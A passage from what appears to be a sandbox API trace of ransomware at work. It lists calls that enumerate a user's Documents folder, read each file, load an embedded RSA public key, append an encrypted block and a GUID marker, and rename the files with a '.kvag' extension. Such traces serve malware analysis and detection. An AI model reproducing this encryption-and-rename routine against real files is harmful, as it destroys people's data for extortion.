pdwDataLen=0x6a5fa54) returned 1 [0119.496] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.497] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.497] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.497] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.497] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.497] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.497] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.497] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.497] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.498] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.498] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.498] CloseHandle (hObject=0x61c) returned 1 [0119.499] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OiTQ4Y77X9w.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oitq4y77x9w.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OiTQ4Y77X9w.ppt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\oitq4y77x9w.ppt.kvag")) returned 1 [0119.500] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0119.500] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd506de50, ftCreationTime.dwHighDateTime=0x1d4ca18, ftLastAccessTime.dwLowDateTime=0x13020040, ftLastAccessTime.dwHighDateTime=0x1d4d24d, ftLastWriteTime.dwLowDateTime=0x13020040, ftLastWriteTime.dwHighDateTime=0x1d4d24d, nFileSizeHigh=0x0, nFileSizeLow=0xe97c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OzU-IttpwwBuAxnEt.ppt", cAlternateFileName="OZU-IT~1.PPT")) returned 1 [0119.500] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OzU-IttpwwBuAxnEt.ppt") returned=".ppt" [0119.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OzU-IttpwwBuAxnEt.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ozu-ittpwwbuaxnet.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.500] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=59772) returned 1 [0119.500] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.502] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe956, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.502] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.504] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xe97c, lpOverlapped=0x0) returned 1 [0119.504] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.504] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.504] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.504] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.505] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.505] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.505] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.505] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.505] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.505] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.505] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.506] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.506] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.506] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.506] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xe97c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.506] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.507] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.507] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.507] CloseHandle (hObject=0x61c) returned 1 [0119.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OzU-IttpwwBuAxnEt.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ozu-ittpwwbuaxnet.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\OzU-IttpwwBuAxnEt.ppt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ozu-ittpwwbuaxnet.ppt.kvag")) returned 1 [0119.509] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b1bc5b0, ftCreationTime.dwHighDateTime=0x1d4ce21, ftLastAccessTime.dwLowDateTime=0x58fe690, ftLastAccessTime.dwHighDateTime=0x1d4d043, ftLastWriteTime.dwLowDateTime=0x58fe690, ftLastWriteTime.dwHighDateTime=0x1d4d043, nFileSizeHigh=0x0, nFileSizeLow=0x46a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pP5LKp.rtf", cAlternateFileName="")) returned 1 [0119.509] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pP5LKp.rtf") returned=".rtf" [0119.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pP5LKp.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pp5lkp.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.510] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=18082) returned 1 [0119.510] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.512] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x467c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.512] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.513] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x46a2, lpOverlapped=0x0) returned 1 [0119.514] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.514] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.514] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.514] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.515] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.515] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.515] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.515] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.515] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.515] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.515] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.515] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.515] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.515] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.516] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x46a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.516] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.516] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.516] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.516] CloseHandle (hObject=0x61c) returned 1 [0119.517] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pP5LKp.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pp5lkp.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\pP5LKp.rtf.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\pp5lkp.rtf.kvag")) returned 1 [0119.518] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa290dbd0, ftCreationTime.dwHighDateTime=0x1d4d394, ftLastAccessTime.dwLowDateTime=0x91b1250, ftLastAccessTime.dwHighDateTime=0x1d4c641, ftLastWriteTime.dwLowDateTime=0x91b1250, ftLastWriteTime.dwHighDateTime=0x1d4c641, nFileSizeHigh=0x0, nFileSizeLow=0x9784, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PRVnBgxJ5.odt", cAlternateFileName="PRVNBG~1.ODT")) returned 1 [0119.518] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PRVnBgxJ5.odt") returned=".odt" [0119.518] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PRVnBgxJ5.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\prvnbgxj5.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.519] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=38788) returned 1 [0119.519] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.521] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x975e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.521] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.523] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x9784, lpOverlapped=0x0) returned 1 [0119.523] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.523] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.523] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0119.523] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607d78) returned 1 [0119.524] CryptCreateHash (in: hProv=0x3607d78, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0119.524] CryptHashData (hHash=0x6183888, pbData=0x6194a40, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0119.524] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0119.524] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0119.524] CryptDestroyHash (hHash=0x6183888) returned 1 [0119.524] CryptReleaseContext (hProv=0x3607d78, dwFlags=0x0) returned 1 [0119.524] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0119.524] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0119.524] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0119.525] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67741a0 [0119.525] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.525] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0119.525] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.525] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0119.525] CloseHandle (hObject=0x61c) returned 1 [0119.526] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PRVnBgxJ5.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\prvnbgxj5.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PRVnBgxJ5.odt.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\prvnbgxj5.odt.kvag")) returned 1 [0119.527] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3426d80, ftCreationTime.dwHighDateTime=0x1d5543a, ftLastAccessTime.dwLowDateTime=0x81f27d70, ftLastAccessTime.dwHighDateTime=0x1d4e2f3, ftLastWriteTime.dwLowDateTime=0x81f27d70, ftLastWriteTime.dwHighDateTime=0x1d4e2f3, nFileSizeHigh=0x0, nFileSizeLow=0x10b22, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QUr6Wv.xlsx", cAlternateFileName="QUR6WV~1.XLS")) returned 1 [0119.527] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QUr6Wv.xlsx") returned=".xlsx" [0119.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\QUr6Wv.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\qur6wv.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0119.528] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=68386) returned 1 [0119.528] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0119.530] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x10afc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.530] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0119.531] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x10b22, lpOverlapped=0x0) returned 1 [0119.532] lstrlenA (lpString="-----BEGIN 